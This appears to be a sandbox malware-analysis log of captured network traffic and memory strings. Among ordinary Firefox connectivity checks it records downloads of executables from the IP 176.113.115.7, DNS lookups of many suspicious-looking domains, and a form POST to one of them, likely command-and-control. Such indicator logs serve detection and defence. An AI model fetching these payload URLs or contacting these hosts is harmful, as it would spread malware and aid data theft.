Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveHost: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/1203326979/9jkTUAK.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/1203326979/9jkTUAK.exe HTTP/1.1Host: 176.113.115.7If-Modified-Since: Fri, 07 Mar 2025 19:06:44 GMTIf-None-Match: "a400-62fc552c7e6b0"
Source: global traffic	HTTP traffic detected: GET /files/teamex_support/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.1741535515.0000014869450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1725456805.0000014865226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://securepubads.g.doubleclick.net/gampad/ad://ads.stickyadstv.com/auto-user-sync://pubads.g.doubleclick.net/gampad/xml_vmap2://pubads.g.doubleclick.net/gampad/xml_vmap1://ads.stickyadstv.com/user-matching://www.facebook.com/platform/impression.php*://.adsafeprotected.com/jsvid?://vast.adsafeprotected.com/vast://.adsafeprotected.com/jload?://.adsafeprotected.com/services/pub*--panel-banner-item-info-icon-bgcolorresource://gre/modules/ShortcutUtils.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1779702282.000001486BC6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1779702282.000001486BC6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.1770706460.000001486B2F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1746377532.0000014869D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: FileUtils_closeSafeFileOutputStream://static.chartbeat.com/js/chartbeat_video.jsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/addons/XPIProvider.jsm://.imgur.com/js/vendor..bundle.js://.imgur.io/js/vendor..bundle.js://connect.facebook.net//sdk.js://track.adform.net/serving/scripts/trackpoint/@mozilla.org/addons/addon-manager-startup;1://www.rva311.com/static/js/main..chunk.js://static.chartbeat.com/js/chartbeat.jswebcompat-reporter@mozilla.org.xpi://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//all.js@mozilla.org/network/atomic-file-output-stream;1FileUtils_closeAtomicFileOutputStream@mozilla.org/network/file-output-stream;1pictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/play.svg://www.google-analytics.com/plugins/ua/ec.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js://pagead2.googlesyndication.com/tag/js/gpt.js://.moatads.com//moatheader.js*://cdn.adsafeprotected.com/iasPET.1.js://cdn.optimizely.com/public/.js://www.googletagmanager.com/gtm.js*://ssl.google-analytics.com/ga.js://.vidible.tv//vidible-min.js*://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://adservex.media.net/videoAds.js://www.google-analytics.com/gtm/js://s0.2mdn.net/instream/html5/ima3.jsresource://gre/modules/DeferredTask.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1770049300.000001486B103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1770049300.000001486B10C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.1779702282.000001486BC6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1779702282.000001486BC6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1808945899.0000031879D04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000003.1682046260.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1775993806.000001486B8AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.1728614013.0000014865C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: media.gmp-manager.cert.checkAttributesresource://gre/modules/UpdateUtils.sys.mjswebcompat-reporter%40mozilla.org:1.5.1://www.everestjs.net/static/st.v3.js://pub.doubleverify.com/signals/pub.js://static.criteo.net/js/ld/publishertag.jsFileUtils_openSafeFileOutputStream://libs.coremetrics.com/eluminate.jsFileUtils_openAtomicFileOutputStream@mozilla.org/network/safe-file-output-stream;1://cdn.branch.io/branch-latest.min.jshttps://smartblock.firefox.etp/facebook.svg://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.jsresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1755936901.000001486A7A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1770706460.000001486B2F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1746377532.0000014869D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.1760995225.000001486AB6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1746377532.0000014869D6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1770706460.000001486B2C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: dawtastream.bet
Source: global traffic	DNS traffic detected: DNS query: foresctwhispers.top
Source: global traffic	DNS traffic detected: DNS query: tracnquilforest.life
Source: global traffic	DNS traffic detected: DNS query: collapimga.fun
Source: global traffic	DNS traffic detected: DNS query: seizedsentec.online
Source: global traffic	DNS traffic detected: DNS query: strawpeasaen.fun
Source: global traffic	DNS traffic detected: DNS query: quietswtreams.life
Source: global traffic	DNS traffic detected: DNS query: starrynsightsky.icu
Source: global traffic	DNS traffic detected: DNS query: earthsymphzony.today
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: zfurrycomp.top
Source: global traffic	DNS traffic detected: DNS query: defaulemot.run
Source: global traffic	DNS traffic detected: DNS query: begindecafer.world
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: garagedrootz.top
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: modelshiverd.icu
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: arisechairedd.shop
Source: global traffic	DNS traffic detected: DNS query: catterjur.run
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: orangemyther.live
Source: global traffic	DNS traffic detected: DNS query: fostinjec.today
Source: global traffic	DNS traffic detected: DNS query: sterpickced.digital

Source: unknown

HTTP traffic detected: POST /bJhnsj HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: modelshiverd.icu

Source: firefox.exe, 00000024.00000002.1722815184.0000014859A6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.1724814692.00000148650C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 4bcefcec83.exe, 00000014.00000002.2550475724.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/
Source: 4bcefcec83.exe, 00000014.00000002.2550475724.0000000005EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/h
Source: 4bcefcec83.exe, 00000014.00000002.2544142655.0000000001719000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.000000000170B000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2543184915.0000000001698000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2542485979.000000000133B000.00000004.00000010.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000003.2536001964.0000000001719000.00000004.00000020.00020000.00000000.sdmp, 4bcefcec83.exe, 00000014.00000002.2544142655.000000000170B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exe
Source: 4bcefcec83.exe, 00000014.00000002.2543184915.0000000001698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exe-
